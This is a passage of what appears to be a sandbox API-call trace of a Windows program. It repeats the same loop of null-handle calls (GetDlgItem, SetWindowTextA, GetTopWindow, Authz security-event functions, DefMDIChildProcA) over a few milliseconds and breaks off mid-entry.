SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.666] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.666] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.666] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.666] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.666] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.666] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.666] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.666] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.666] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.666] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.666] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.666] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.666] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.666] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.667] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.667] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.667] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.667] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.667] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.667] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.667] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.667] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.667] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.667] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.667] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.667] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.667] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.667] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.667] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.667] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.667] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.667] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.667] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.667] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.667] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.667] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.667] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.667] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.667] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.667] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.667] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.667] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.667] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.667] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.667] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.667] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.667] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.667] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.667] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.667] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.667] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.667] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.667] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.667] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.667] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.667] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.668] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.668] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.668] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.668] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.668] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.668] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.668] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.668] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.668] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.668] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.668] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.668] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.668] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.668] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.668] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.668] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.668] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.668] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.668] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.668] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.668] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.668] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.668] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.668] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.668] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.668] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.668] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.668] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.668] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.668] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.668] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.668] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.668] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.668] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.668] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.668] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.668] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.668] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.668] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.668] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.668] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.668] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.669] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.669] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.669] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.669] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.669] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.669] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.669] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.669] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.669] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.669] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.669] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.669] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.669] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.669] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.669] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.669] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.669] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.669] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.669] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.669] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.669] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.669] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.669] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.669] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.669] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.669] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.669] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.669] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.669] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.669] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.669] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.669] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.669] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.669] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.669] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.669] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.669] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.669] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.669] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.669] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.669] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.670] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.670] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.670] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.670] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.670] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.670] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.670] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.670] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.670] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.670] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.670] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.670] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.670] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.670] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.670] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.670] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.670] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.670] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.670] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.670] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.670] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.670] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.670] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.670] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.670] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.670] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.670] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.670] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.670] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.670] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.670] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.670] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.670] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.670] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.670] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.670] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.670] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.670] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.670] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.670] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.670] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.670] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.671] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.671] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.671] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.671] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.671] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.671] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.671] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.671] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.671] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.671] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.671] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.671] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.671] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.671] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.671] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.671] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.671] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.671] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.671] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.671] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.671] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.671] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.671] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.671] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.671] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.671] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.671] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.671] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.671] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.671] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.671] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.671] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.671] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.671] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.671] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.671] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.671] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.671] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.671] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.671] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.672] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.672] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.672] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.672] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.672] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.672] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.672] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.672] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.672] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.672] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.672] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.672] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.672] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.672] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.672] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.672] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.672] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.672] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.672] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.672] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.672] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.672] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.672] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.672] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.672] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.672] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.672] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.672] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.672] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.672] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.673] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.673] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.673] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.673] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.673] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.673] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.673] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.673] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.673] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.673] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.673] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.673] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.673] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.673] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.673] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.673] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.673] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.673] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.673] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.673] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.673] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.673] AuthzReportSecurityEventFromParams (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, pParams=0x0 | out: hEventProvider=0x0) returned 0 [0025.673] DefMDIChildProcA (hWnd=0x0, uMsg=0x0, wParam=0xc6f1, lParam=0x0) returned 0x0 [0025.673] AuthzUninstallSecurityEventSource (dwFlags=0x0, szEventSourceName=0x0) returned 0 [0025.673] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.673] GetDlgItem (hDlg=0x0, nIDDlgItem=5) returned 0x0 [0025.673] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.673] SetWindowTextA (hWnd=0x0, lpString="") returned 0 [0025.673] GetTopWindow (hWnd=0x0) returned 0x30140 [0025.673] AuthzReportSecurityEvent (in: dwFlags=0x0, hEventProvider=0x0, dwAuditId=0x0, pUserSid=0x0, dwCount=0x0 | out: hEventProvider=0x0) returned 0 [0025.673] AuthzReportSecurityEventFromParams (in: 